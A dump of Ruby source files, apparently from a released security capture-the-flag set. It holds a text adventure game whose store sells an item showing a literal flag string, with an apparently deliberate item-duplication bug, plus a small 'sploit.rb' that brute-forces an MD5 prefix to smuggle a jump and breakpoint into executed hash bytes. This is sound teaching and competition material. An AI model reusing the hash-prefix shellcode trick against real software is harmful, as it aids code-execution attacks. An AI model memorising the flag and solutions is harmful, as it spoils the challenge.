:damage => 1..1,
}
]
SHIELDS = [
{
:type => :shield,
:name => "grass shield",
:value => 1,
:description => "This doesn't even make sense",
:commonness => 100,
:defense => 0.1,
},
{
:type => :shield,
:name => "dinner plate",
:value => 5,
:description => "I hope I don't get attacked by something strong!",
:commonness => 70,
:defense => 0.2,
},
{
:type => :shield,
:name => "hubcap",
:value => 10,
:description => "I think this might block some attacks!",
:commonness => 50,
:defense => 0.3,
},
{
:type => :shield,
:name => "trashcan lid",
:value => 25,
:description => "Wow, this makes a pretty good shield!",
:commonness => 30,
:defense => 0.4,
},
{
:type => :shield,
:name => "fridge door",
:value => 120,
:description => "I can barely hold this up! How am I supposed to shield myself?",
:commonness => 10,
:defense => 0.5,
}
]
POTIONS = [
{
:type => :potion,
:name => "ginger ale",
:value => 5,
:description => "This smells pretty good",
:commonness => 15,
:healing => 1..5,
},
{
:type => :potion,
:name => "tea",
:value => 10,
:description => "I think it's probably hot Earl Grey tea. Not because of the smell, but because programmers love Captain Picard.",
:commonness => 12,
:healing => 3..8,
},
{
:type => :potion,
:name => "a colourful drink with a little umbrella",
:value => 20,
:description => "I'm not sure what it is, but it tastes like sugar!",
:commonness => 8,
:healing => 6..10,
},
{
:type => :potion,
:name => "chartreuse",
:value => 40,
:description => "It's clear, and green, and hurts my nose when I try to smell it!",
:commonness => 4,
:healing => -20..-10,
},
]
TRADE_GOODS = [
{
:type => :trading_good,
:name => "socks",
:value => 1,
:description => "Somebody's old socks",
:commonness => 10,
},
{
:type => :trading_good,
:name => "wool",
:value => 5,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "copper",
:value => 5,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "quilt",
:value => 5,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "chessboard, missing two pawns and a queen",
:value => 10,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "child's stuffed animal",
:value => 3,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "gold",
:value => 20,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "diamonds",
:value => 30,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "a few partially charged AA batteries",
:value => 3,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "mop bucket that seems to be sentient, but we aren't really sure",
:value => 10,
:description => "It just gives off that feeling of sentience, you know?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "an old TV guide",
:value => 5,
:description => "The crosswords half done, in pen, with several mistakes. How hard is it to spell 'Oprah'?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "half deflated basketball",
:value => 5,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "jumble of coat hangers",
:value => 10,
:description => "Now I have a place to hang my jumble of coats!",
:commonness => 10,
},
{
:type => :trading_good,
:name => "the 's' key from a keyboard",
:value => 5,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "airplane safety card and a Skymall(tm) magazine",
:value => 10,
:description => "It appears to be from a 747",
:commonness => 10,
},
{
:type => :trading_good,
:name => "an empty matchbook from a club you haven't heard of",
:value => 3,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "backwards baseball cap",
:value => 10,
:description => "Wait, how did you know it's backwards?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "seeds",
:value => 20,
:description => "I wonder what these will grow?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "blueprints",
:value => 1,
:description => "For something called... 'The Death Star'?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "pictures of cats",
:value => 25,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "goop",
:value => 1,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "takeout menu",
:value => 10,
:description => "It appears to be from a Thai Restaurant",
:commonness => 10,
},
{
:type => :trading_good,
:name => "vial of suspicious red fluid",
:value => 20,
:description => "Do you think it's blood?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "domino",
:value => 7,
:description => "It's the piece the looks like |::|:.|",
:commonness => 10,
},
{
:type => :trading_good,
:name => "expired milk",
:value => 1,
:description => "",
:commonness => 10,
},
{
:type => :trading_good,
:name => "sandwich",
:value => 5,
:description => "Ham and cheese! That's my favourite!",
:commonness => 10,
},
{
:type => :trading_good,
:name => "small bowling ball",
:value => 20,
:description => "Ever heard of 5-pin bowling? It's all the rage in Canada!",
:commonness => 10,
},
{
:type => :trading_good,
:name => "one of those combined stop/slow signs that construction workers hold up",
:value => 9,
:description => ["It currently says 'stop'", "It currently says 'go'"].sample,
:commonness => 10,
},
{
:type => :trading_good,
:name => "Zippo(tm) with no fluid left",
:value => 5,
:description => "Don't you hate how they're always empty?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "bucket",
:value => 5,
:description => "It's full of... banana peels?",
:commonness => 10,
},
{
:type => :trading_good,
:name => "can of Slurm(tm)",
:value => 10,
:description => "It's addictive!",
:commonness => 10,
},
{
:type => :trading_good,
:name => "fake mustache",
:value => 5,
:description => "But I already have a mustache!",
:commonness => 10,
},
]
FLAGS = [
{
:name => "flag.txt",
:value => 31337,
:description => "a little scrap of paper that reads 'FLAG:dfe85a56acba6b0149ce9c7526c7d42c'",
:commonness => 0,
},
]
ALL_ITEMS = WEAPONS + SHIELDS + POTIONS + TRADE_GOODS
def random_item(items)
total = 0
items.each do |item|
total += item[:commonness]
end
item_num = rand(total)
total = 0
items.each do |item|
total += item[:commonness]
if(item_num < total)
return item
end
end
# This shouldn't really happy, but we'll return something just in case it does
return {
:name => '(nil)',
:value => 0,
:description => "Congratulations, you somehow got a no-item item! This shouldn't actually happen, so please ignore me and carry on. :)",
:commonness => 0,
}
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/game.rb | misc/beez-fight/challenge/src/game.rb | #!/usr/local/bin/ruby
require 'readline'
require_relative './items.rb'
require_relative './locations.rb'
require_relative './monsters.rb'
# Turns off stdout buffering
$stdout.sync = true
YOU = {
:weapon_equipped => false,
:weapon => nil,
:shield_equipped => false,
:shield => nil,
:inventory => (1..3).map() { random_item(ALL_ITEMS) },
:gold => 10,
:health => 80,
:location => :club,
:experience => 0,
}
MONSTER = {
:present => false,
:monster => nil,
}
# Generate a handful of random items for the store, in addition to the flag
STORE = FLAGS + (0..8).map { random_item(ALL_ITEMS) }
class BeezException < StandardError
end
# Get an item from a specific index in the player's inventory
def get_from_inventory(num)
num = num.to_i()
if(num < 1 || num > YOU[:inventory].length())
raise(BeezException, "Itemnum needs to be an integer between 1 and #{YOU[:inventory].length()}")
end
return YOU[:inventory][num - 1]
end
# Don't allow certain actions when a monster is present
def ensure_no_monster()
if(MONSTER[:present])
raise(BeezException, "That action can't be taken when a monster is present!")
end
end
# Check if a monster appears
def gen_monster()
# Don't spawn multiple monsters
if(MONSTER[:present] == true)
return
end
if(rand() < location()[:monster_chance])
MONSTER[:present] = true
MONSTER[:monster] = (MONSTERS.select() { |m| m[:appears_in].include?(YOU[:location]) }).sample().clone()
MONSTER[:max_health] = MONSTER[:monster][:health].to_a().sample()
MONSTER[:health] = MONSTER[:max_health]
puts()
puts("Uh oh! You just got attacked by #{MONSTER[:monster][:name]}! Better defend yourself!")
sleep(1)
raise(BeezException, "You are now in combat!")
end
end
def location()
return LOCATIONS[YOU[:location]]
end
# Do the monster's attack, if one is present
def monster_attack()
if(!MONSTER[:present])
return
end
# Start by randomizing which of the monster's attacks it uses
monster_attack = MONSTER[:monster][:weapons].sample()
# Randomly choose a damage from the list of possible damages from the attack
monster_damage = monster_attack[:damage].to_a().sample().to_f()
# Scale down the damage based on the monster's health (makes the game a little easier)
monster_adjusted_damage = (monster_damage * (MONSTER[:health].to_f() / MONSTER[:max_health].to_f())).ceil()
# Scale down the damage if a shield is equipped
if(YOU[:shield_equipped] && monster_adjusted_damage > 0)
monster_adjusted_damage = monster_adjusted_damage * YOU[:shield][:defense]
end
# Round the damage up
monster_adjusted_damage = monster_adjusted_damage.ceil().to_i()
puts("The #{MONSTER[:monster][:name]} attacks you with its #{monster_attack[:weapon_name]} for #{monster_adjusted_damage} damage!")
YOU[:health] -= monster_adjusted_damage
# Check if the player is dead
if(YOU[:health] <= 0)
puts()
puts("You were killed by the #{}! :( :( :(")
puts("RIP #{YOU[:name]}!")
1.upto(10) do
puts(":(")
sleep(1)
end
exit(0)
end
puts("You have #{YOU[:health]}hp left!")
puts()
sleep(1)
end
# Unequip a weapon or armour
def unequip(which)
if(which == "weapon")
if(!YOU[:weapon])
raise(BeezException, "You aren't using a weapon!")
end
YOU[:inventory] << YOU[:weapon]
YOU[:weapon_equipped] = false
puts("You unequipped your weapon!")
elsif(which == "shield")
if(!YOU[:shield])
raise(BeezException, "You aren't using a shield!")
end
YOU[:inventory] << YOU[:shield]
YOU[:shield_equipped] = false
puts("You unequipped your shield!")
else
raise(BeezException, "You can only unequip a weapon or shield!")
end
end
# Do a single 'tick' of hte game
def tick()
# Print character
puts()
puts(" -------------------------------------------------------------------------------")
puts(" The Brave Sir/Lady #{YOU[:name]}")
puts(" Gold: #{YOU[:gold]}gp")
puts(" Health: #{YOU[:health]}hp")
puts(" Experience: #{YOU[:experience]}")
puts()
if(YOU[:weapon_equipped])
puts(" Left hand: #{YOU[:weapon][:name]}")
else
puts(" Left hand: No weapon!");
end
if(YOU[:shield_equipped])
puts(" Right hand: #{YOU[:shield][:name]}")
else
puts(" Right hand: No shield!");
end
puts()
puts(" Inventory: #{YOU[:inventory].map() { |i| i[:name] }.join(", ")}")
puts()
puts(" Location: #{location()[:name]}")
puts(" -------------------------------------------------------------------------------")
puts()
# If there's a monster present, display it
if(MONSTER[:present])
puts("You're in combat with #{MONSTER[:monster][:name]}!")
puts()
end
# If the player is in the store, print its inventory
if(YOU[:location] == :store)
puts("For sale:")
1.upto(STORE.length()) do |i|
puts("%d :: %s (%dgp)" % [i, STORE[i - 1][:name], STORE[i - 1][:value]])
end
puts()
end
# Get command
command = Readline.readline("> ", true)
if(command.nil?)
puts("Bye!")
exit(0)
end
# Split the command/args at the space
command, args = command.split(/ /, 2)
puts()
# Process command
if(command == "look")
# Print a description of hte locatoin
puts("#{location()[:description]}. You can see the following:" )
# Print the attached locations
1.upto(location()[:connects_to].length()) do |i|
puts("%2d :: %s" % [i, LOCATIONS[location()[:connects_to][i - 1]][:name]])
end
elsif(command == "move")
# Don't allow moving if there's a monster
ensure_no_monster()
# See if a monster apperas
gen_monster()
# Make sure it's a valid move
args = args.to_i
if(args < 1 || args > location()[:connects_to].length)
raise(BeezException, "Invalid location")
end
# Update the location
YOU[:location] = location()[:connects_to][args - 1]
puts("Moved to #{location()[:name]}")
elsif(command == "search")
puts("You search the ground around your feet...")
sleep(1)
# See if a monster appears
gen_monster()
# If no monster appeared, see if an item turns up
if(rand() < location()[:item_chance])
item = random_item(ALL_ITEMS)
puts("...and find #{item[:name]}")
YOU[:inventory] << item
else
puts("...and find nothing!");
end
puts()
# After searching for an item, if there's a monster present, let it attack
monster_attack()
elsif(command == "inventory")
puts "Your inventory:"
1.upto(YOU[:inventory].length()) do |i|
item = get_from_inventory(i)
if(item.nil?)
return
end
puts("%3d :: %s (worth %dgp)" % [i, item[:name], item[:value]])
end
elsif(command == "describe")
# Show the description for an item. Note that this is what you have to do with the flag.txt item to get the flag!
item = get_from_inventory(args)
puts("%s -> %s" % [item[:name], item[:description]])
elsif(command == "equip")
# Attempt to equip an item
item = get_from_inventory(args)
if(item[:type] == :weapon)
if(YOU[:weapon_equipped])
unequip('weapon')
end
YOU[:weapon_equipped] = true
YOU[:weapon] = item
puts("Equipped #{item[:name]} as a weapon!")
elsif(item[:type] == :shield)
if(YOU[:shield_equipped])
unequip('shield')
end
YOU[:shield_equipped] = true
YOU[:shield] = item
puts("Equipped #{item[:name]} as a shield!")
else
raise(BeezException, "#{item[:name]} can't be equipped!")
end
# Remove the item from inventory after equipping it
YOU[:inventory].delete_at(args.to_i - 1)
elsif(command == "drop")
# Just remove the item from inventory
item = get_from_inventory(args)
YOU[:inventory].delete_at(args.to_i - 1)
puts("Dropped #{item[:name]} into the eternal void")
elsif(command == "drink")
item = get_from_inventory(args)
if(item[:type] != :potion)
raise(BeezException, "That item can't be drank!")
end
# Remove the item from the inventory
YOU[:inventory].delete_at(args.to_i - 1)
# Heal for a random amount
amount = item[:healing].to_a.sample
YOU[:health] += amount
puts("You were healed for #{amount}hp!")
puts()
sleep(1)
monster_attack()
elsif(command == "sell")
ensure_no_monster()
if(YOU[:location] != :store)
raise(BeezException, "This can only be done at the store!")
end
# Remove the item from inventory
item = get_from_inventory(args)
YOU[:inventory].delete_at(args.to_i - 1)
# Increase your gold by the item's value
YOU[:gold] += item[:value]
STORE << item
puts("You sold the #{item[:name]} for #{item[:value]}gp!")
elsif(command == "buy")
ensure_no_monster()
if(YOU[:location] != :store)
raise(BeezException, "This can only be done at the store!")
end
args = args.to_i()
if(args < 1 || args > STORE.length())
raise(BeezException, "Itemnum needs to be an integer between 1 and #{STORE.length()}")
end
# MAke sure they can afford the item
item = STORE[args - 1]
if(item[:value] > YOU[:gold])
raise(BeezException, "You can't afford that item!")
end
# Remove the item from the store
STORE.delete_at(args - 1)
YOU[:inventory] << item
YOU[:gold] -= item[:value]
puts("You bought %s for %dgp!" % [item[:name], item[:value]])
elsif(command == "attack")
if(!MONSTER[:present])
puts("Only while monster is present!!!")
return
end
# Get the amount of damage
if(YOU[:weapon_equipped])
your_attack = YOU[:weapon][:damage].to_a.sample()
puts("You attack the #{MONSTER[:monster][:name]} with your #{YOU[:weapon][:name]} doing #{your_attack} damage!")
else
your_attack = (0..2).to_a.sample
puts("You attack the #{MONSTER[:monster][:name]} with your fists doing #{your_attack} damage!")
end
# Reduce the monster's health
MONSTER[:health] -= your_attack
# Check if the monster is dead
if(MONSTER[:health] <= 0)
puts("You defeated the #{MONSTER[:monster][:name]}!")
# If the monster died, have it drop a random item
item = random_item(ALL_ITEMS)
puts("It dropped a #{item[:name]}!")
YOU[:inventory] << item
MONSTER[:present] = false
else
puts("It's still alive!")
end
puts()
sleep(1)
monster_attack()
elsif(command == "unequip")
unequip(args)
else
puts("Commands:")
puts()
puts("look")
puts(" Look at the current area. Shows other areas that the current area connects")
puts(" to.")
puts()
puts("move <locationnum>")
puts(" Move to the selected location. Get the <locationnum> from the 'look' command.")
puts()
puts(" Be careful! You might get attacked while you're moving! You can't move when")
puts(" you're in combat.")
puts()
puts("search")
puts(" Search the area for items. Some areas will have a higher or lower chance")
puts(" of having items hidden.")
puts()
puts(" Be careful! You might get attacked while you're searching!")
puts()
puts("inventory")
puts(" Show the items in your inventory, along with their <itemnum> values, which")
puts(" you'll need in order to use them!")
puts()
puts("describe <itemnum>")
puts(" Show a description of the item in your inventory. <itemnum> is obtained by")
puts(" using the 'inventory' command.")
puts()
puts("equip <itemnum>")
puts(" Equip a weapon or shield. Some unexpected items can be used, so try equipping")
puts(" everything!")
puts()
puts("unequip <weapon|shield>")
puts(" Unequip (dequip?) your weapon or shield.")
puts()
puts("drink <itemnum>")
puts(" Consume a potion. <itenum> is obtained by using the 'inventory' command.")
puts()
puts("drop <itemnum>")
puts(" Consign the selected item to the eternal void. Since you have unlimited")
puts(" inventory, I'm not sure why you'd want to do that!")
puts()
puts("buy <storenum>")
puts(" Buy the selected item. Has to be done in a store. The list of <storenum>")
puts(" values will be displayed when you enter the store")
puts()
puts("sell <itemnum>")
puts(" Sell the selected item. Has to be done in a store. Note that unlike other")
puts(" games, we're fair and items sell for the exact amount they're bought for!")
puts(" <itemnum> is obtained by using the 'inventory' command.")
puts()
puts("attack")
puts(" Attack the current monster.")
end
end
puts("Welcome, brave warrior! What's your name?")
print("--> ")
YOU[:name] = gets().strip()
puts()
puts("Welcome, #{YOU[:name]}! Good luck on your quest!!");
puts()
puts("You just woke up. You don't remember what happened to you, but you're somewhere with loud music. You aren't sure what's going on, but you know you need to get out of here!")
puts()
puts("Press <enter> to continue");
gets()
loop do
begin
tick()
rescue BeezException => e
puts("Error: #{e}")
end
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/challenge/src/locations.rb | misc/beez-fight/challenge/src/locations.rb | LOCATIONS = {
:street => {
:name => "Street",
:connects_to => [:store, :alley, :cinema, :club, :forest],
:buy_stuff => false,
:monster_chance => 0.05,
:description => "You're on a somewhat busy street. Cars are passing you by, but nobody's paying you much attention.",
:item_chance => 0.01,
},
:alley => {
:name => "Alley",
:connects_to => [:club, :street],
:description => "You're in a dark alley. Something smells funny. This place feels dangerous!",
:monster_chance => 0.90,
:item_chance => 0.05,
},
:store => {
:name => "Convenience Store",
:connects_to => [:street, :alley],
:buy_stuff => true,
:monster_chance => 0,
:description => "You're at a store. You can buy goods here! You're probably safe from passing ruffians",
:item_chance => 0,
},
:cinema => {
:name => "Cheap Cinema",
:connects_to => [:street, :alley],
:buy_stuff => false,
:monster_chance => 0.10,
:description => "This is a cinema. A number of movies are playing. The guy at the concession stand is trying to sell you popcorn. You don't like the look of the kids hanging around the arcade games!",
:item_chance => 0.05,
},
:club => {
:name => "Night Club",
:connects_to => [:street, :alley],
:buy_stuff => false,
:monster_chance => 0.70,
:description => "It's noisy in here. I SAID, IT'S NOISY IN HERE!!",
:item_chance => 0.10,
},
:forest => {
:name => "Forest",
:connects_to => [:street],
:buy_stuff => false,
:monster_chance => 0.60,
:description => "Ahh, nature!",
:item_chance => 0.20,
},
:gym => {
:name => "Gym",
:connects_to => [:alley],
:buy_stuff => false,
:monster_chance => 0.15,
:description => "This place is full of gym people.",
:item_chance => 0.10,
},
}
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/misc/beez-fight/distfiles/game.rb | misc/beez-fight/distfiles/game.rb | #!/usr/local/bin/ruby
require 'readline'
require_relative './items.rb'
require_relative './locations.rb'
require_relative './monsters.rb'
# Turns off stdout buffering
$stdout.sync = true
YOU = {
:weapon_equipped => false,
:weapon => nil,
:shield_equipped => false,
:shield => nil,
:inventory => (1..3).map() { random_item(ALL_ITEMS) },
:gold => 10,
:health => 80,
:location => :club,
:experience => 0,
}
MONSTER = {
:present => false,
:monster => nil,
}
# Generate a handful of random items for the store, in addition to the flag
STORE = FLAGS + (0..8).map { random_item(ALL_ITEMS) }
class BeezException < StandardError
end
# Get an item from a specific index in the player's inventory
def get_from_inventory(num)
num = num.to_i()
if(num < 1 || num > YOU[:inventory].length())
raise(BeezException, "Itemnum needs to be an integer between 1 and #{YOU[:inventory].length()}")
end
return YOU[:inventory][num - 1]
end
# Don't allow certain actions when a monster is present
def ensure_no_monster()
if(MONSTER[:present])
raise(BeezException, "That action can't be taken when a monster is present!")
end
end
# Check if a monster appears
def gen_monster()
# Don't spawn multiple monsters
if(MONSTER[:present] == true)
return
end
if(rand() < location()[:monster_chance])
MONSTER[:present] = true
MONSTER[:monster] = (MONSTERS.select() { |m| m[:appears_in].include?(YOU[:location]) }).sample().clone()
MONSTER[:max_health] = MONSTER[:monster][:health].to_a().sample()
MONSTER[:health] = MONSTER[:max_health]
puts()
puts("Uh oh! You just got attacked by #{MONSTER[:monster][:name]}! Better defend yourself!")
sleep(1)
raise(BeezException, "You are now in combat!")
end
end
def location()
return LOCATIONS[YOU[:location]]
end
# Do the monster's attack, if one is present
def monster_attack()
if(!MONSTER[:present])
return
end
# Start by randomizing which of the monster's attacks it uses
monster_attack = MONSTER[:monster][:weapons].sample()
# Randomly choose a damage from the list of possible damages from the attack
monster_damage = monster_attack[:damage].to_a().sample().to_f()
# Scale down the damage based on the monster's health (makes the game a little easier)
monster_adjusted_damage = (monster_damage * (MONSTER[:health].to_f() / MONSTER[:max_health].to_f())).ceil()
# Scale down the damage if a shield is equipped
if(YOU[:shield_equipped] && monster_adjusted_damage > 0)
monster_adjusted_damage = monster_adjusted_damage * YOU[:shield][:defense]
end
# Round the damage up
monster_adjusted_damage = monster_adjusted_damage.ceil().to_i()
puts("The #{MONSTER[:monster][:name]} attacks you with its #{monster_attack[:weapon_name]} for #{monster_adjusted_damage} damage!")
YOU[:health] -= monster_adjusted_damage
# Check if the player is dead
if(YOU[:health] <= 0)
puts()
puts("You were killed by the #{}! :( :( :(")
puts("RIP #{YOU[:name]}!")
1.upto(10) do
puts(":(")
sleep(1)
end
exit(0)
end
puts("You have #{YOU[:health]}hp left!")
puts()
sleep(1)
end
# Unequip a weapon or armour
def unequip(which)
if(which == "weapon")
if(!YOU[:weapon])
raise(BeezException, "You aren't using a weapon!")
end
YOU[:inventory] << YOU[:weapon]
YOU[:weapon_equipped] = false
puts("You unequipped your weapon!")
elsif(which == "shield")
if(!YOU[:shield])
raise(BeezException, "You aren't using a shield!")
end
YOU[:inventory] << YOU[:shield]
YOU[:shield_equipped] = false
puts("You unequipped your shield!")
else
raise(BeezException, "You can only unequip a weapon or shield!")
end
end
# Do a single 'tick' of hte game
def tick()
# Print character
puts()
puts(" -------------------------------------------------------------------------------")
puts(" The Brave Sir/Lady #{YOU[:name]}")
puts(" Gold: #{YOU[:gold]}gp")
puts(" Health: #{YOU[:health]}hp")
puts(" Experience: #{YOU[:experience]}")
puts()
if(YOU[:weapon_equipped])
puts(" Left hand: #{YOU[:weapon][:name]}")
else
puts(" Left hand: No weapon!");
end
if(YOU[:shield_equipped])
puts(" Right hand: #{YOU[:shield][:name]}")
else
puts(" Right hand: No shield!");
end
puts()
puts(" Inventory: #{YOU[:inventory].map() { |i| i[:name] }.join(", ")}")
puts()
puts(" Location: #{location()[:name]}")
puts(" -------------------------------------------------------------------------------")
puts()
# If there's a monster present, display it
if(MONSTER[:present])
puts("You're in combat with #{MONSTER[:monster][:name]}!")
puts()
end
# If the player is in the store, print its inventory
if(YOU[:location] == :store)
puts("For sale:")
1.upto(STORE.length()) do |i|
puts("%d :: %s (%dgp)" % [i, STORE[i - 1][:name], STORE[i - 1][:value]])
end
puts()
end
# Get command
command = Readline.readline("> ", true)
if(command.nil?)
puts("Bye!")
exit(0)
end
# Split the command/args at the space
command, args = command.split(/ /, 2)
puts()
# Process command
if(command == "look")
# Print a description of hte locatoin
puts("#{location()[:description]}. You can see the following:" )
# Print the attached locations
1.upto(location()[:connects_to].length()) do |i|
puts("%2d :: %s" % [i, LOCATIONS[location()[:connects_to][i - 1]][:name]])
end
elsif(command == "move")
# Don't allow moving if there's a monster
ensure_no_monster()
# See if a monster apperas
gen_monster()
# Make sure it's a valid move
args = args.to_i
if(args < 1 || args > location()[:connects_to].length)
raise(BeezException, "Invalid location")
end
# Update the location
YOU[:location] = location()[:connects_to][args - 1]
puts("Moved to #{location()[:name]}")
elsif(command == "search")
puts("You search the ground around your feet...")
sleep(1)
# See if a monster appears
gen_monster()
# If no monster appeared, see if an item turns up
if(rand() < location()[:item_chance])
item = random_item(ALL_ITEMS)
puts("...and find #{item[:name]}")
YOU[:inventory] << item
else
puts("...and find nothing!");
end
puts()
# After searching for an item, if there's a monster present, let it attack
monster_attack()
elsif(command == "inventory")
puts "Your inventory:"
1.upto(YOU[:inventory].length()) do |i|
item = get_from_inventory(i)
if(item.nil?)
return
end
puts("%3d :: %s (worth %dgp)" % [i, item[:name], item[:value]])
end
elsif(command == "describe")
# Show the description for an item. Note that this is what you have to do with the flag.txt item to get the flag!
item = get_from_inventory(args)
puts("%s -> %s" % [item[:name], item[:description]])
elsif(command == "equip")
# Attempt to equip an item
item = get_from_inventory(args)
if(item[:type] == :weapon)
if(YOU[:weapon_equipped])
unequip('weapon')
end
YOU[:weapon_equipped] = true
YOU[:weapon] = item
puts("Equipped #{item[:name]} as a weapon!")
elsif(item[:type] == :shield)
if(YOU[:shield_equipped])
unequip('shield')
end
YOU[:shield_equipped] = true
YOU[:shield] = item
puts("Equipped #{item[:name]} as a shield!")
else
raise(BeezException, "#{item[:name]} can't be equipped!")
end
# Remove the item from inventory after equipping it
YOU[:inventory].delete_at(args.to_i - 1)
elsif(command == "drop")
# Just remove the item from inventory
item = get_from_inventory(args)
YOU[:inventory].delete_at(args.to_i - 1)
puts("Dropped #{item[:name]} into the eternal void")
elsif(command == "drink")
item = get_from_inventory(args)
if(item[:type] != :potion)
raise(BeezException, "That item can't be drank!")
end
# Remove the item from the inventory
YOU[:inventory].delete_at(args.to_i - 1)
# Heal for a random amount
amount = item[:healing].to_a.sample
YOU[:health] += amount
puts("You were healed for #{amount}hp!")
puts()
sleep(1)
monster_attack()
elsif(command == "sell")
ensure_no_monster()
if(YOU[:location] != :store)
raise(BeezException, "This can only be done at the store!")
end
# Remove the item from inventory
item = get_from_inventory(args)
YOU[:inventory].delete_at(args.to_i - 1)
# Increase your gold by the item's value
YOU[:gold] += item[:value]
STORE << item
puts("You sold the #{item[:name]} for #{item[:value]}gp!")
elsif(command == "buy")
ensure_no_monster()
if(YOU[:location] != :store)
raise(BeezException, "This can only be done at the store!")
end
args = args.to_i()
if(args < 1 || args > STORE.length())
raise(BeezException, "Itemnum needs to be an integer between 1 and #{STORE.length()}")
end
# MAke sure they can afford the item
item = STORE[args - 1]
if(item[:value] > YOU[:gold])
raise(BeezException, "You can't afford that item!")
end
# Remove the item from the store
STORE.delete_at(args - 1)
YOU[:inventory] << item
YOU[:gold] -= item[:value]
puts("You bought %s for %dgp!" % [item[:name], item[:value]])
elsif(command == "attack")
if(!MONSTER[:present])
puts("Only while monster is present!!!")
return
end
# Get the amount of damage
if(YOU[:weapon_equipped])
your_attack = YOU[:weapon][:damage].to_a.sample()
puts("You attack the #{MONSTER[:monster][:name]} with your #{YOU[:weapon][:name]} doing #{your_attack} damage!")
else
your_attack = (0..2).to_a.sample
puts("You attack the #{MONSTER[:monster][:name]} with your fists doing #{your_attack} damage!")
end
# Reduce the monster's health
MONSTER[:health] -= your_attack
# Check if the monster is dead
if(MONSTER[:health] <= 0)
puts("You defeated the #{MONSTER[:monster][:name]}!")
# If the monster died, have it drop a random item
item = random_item(ALL_ITEMS)
puts("It dropped a #{item[:name]}!")
YOU[:inventory] << item
MONSTER[:present] = false
else
puts("It's still alive!")
end
puts()
sleep(1)
monster_attack()
elsif(command == "unequip")
unequip(args)
else
puts("Commands:")
puts()
puts("look")
puts(" Look at the current area. Shows other areas that the current area connects")
puts(" to.")
puts()
puts("move <locationnum>")
puts(" Move to the selected location. Get the <locationnum> from the 'look' command.")
puts()
puts(" Be careful! You might get attacked while you're moving! You can't move when")
puts(" you're in combat.")
puts()
puts("search")
puts(" Search the area for items. Some areas will have a higher or lower chance")
puts(" of having items hidden.")
puts()
puts(" Be careful! You might get attacked while you're searching!")
puts()
puts("inventory")
puts(" Show the items in your inventory, along with their <itemnum> values, which")
puts(" you'll need in order to use them!")
puts()
puts("describe <itemnum>")
puts(" Show a description of the item in your inventory. <itemnum> is obtained by")
puts(" using the 'inventory' command.")
puts()
puts("equip <itemnum>")
puts(" Equip a weapon or shield. Some unexpected items can be used, so try equipping")
puts(" everything!")
puts()
puts("unequip <weapon|shield>")
puts(" Unequip (dequip?) your weapon or shield.")
puts()
puts("drink <itemnum>")
puts(" Consume a potion. <itenum> is obtained by using the 'inventory' command.")
puts()
puts("drop <itemnum>")
puts(" Consign the selected item to the eternal void. Since you have unlimited")
puts(" inventory, I'm not sure why you'd want to do that!")
puts()
puts("buy <storenum>")
puts(" Buy the selected item. Has to be done in a store. The list of <storenum>")
puts(" values will be displayed when you enter the store")
puts()
puts("sell <itemnum>")
puts(" Sell the selected item. Has to be done in a store. Note that unlike other")
puts(" games, we're fair and items sell for the exact amount they're bought for!")
puts(" <itemnum> is obtained by using the 'inventory' command.")
puts()
puts("attack")
puts(" Attack the current monster.")
end
end
puts("Welcome, brave warrior! What's your name?")
print("--> ")
YOU[:name] = gets().strip()
puts()
puts("Welcome, #{YOU[:name]}! Good luck on your quest!!");
puts()
puts("You just woke up. You don't remember what happened to you, but you're somewhere with loud music. You aren't sure what's going on, but you know you need to get out of here!")
puts()
puts("Press <enter> to continue");
gets()
loop do
begin
tick()
rescue BeezException => e
puts("Error: #{e}")
end
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/pwn/hashecute/solution/sploit.rb | pwn/hashecute/solution/sploit.rb | # encoding: ASCII-8bit
require 'digest'
DESIRED_PREFIX = "\xeb\x0e"
DESIRED_CODE = "\xCC"
0.upto(0xFFFFFFFFFFFFFFFF) do |i|
this_code = DESIRED_CODE + [i].pack('q')
checksum = Digest::MD5.digest(this_code)
if(checksum.start_with?(DESIRED_PREFIX))
puts "Code: %s" % (this_code.bytes.map { |c| '\x%02x' % c }).join()
puts "Checksum: %s" % (checksum.bytes.map { |c| '\x%02x' % c }).join()
puts("Checksum: %s" % checksum.unpack("H*"))
break
end
end
| ruby | MIT | 6ee9f99764e096dc2d30499c531925897facc561 | 2026-01-04T17:53:03.076022Z | false |
BSidesSF/ctf-2017-release | https://github.com/BSidesSF/ctf-2017-release/blob/6ee9f99764e096dc2d30499c531925897facc561/pwn/b-64-b-tuff/solution/sploit.rb | pwn/b-64-b-tuff/solution/sploit.rb | # encoding: ASCII-8bit
require 'base64'
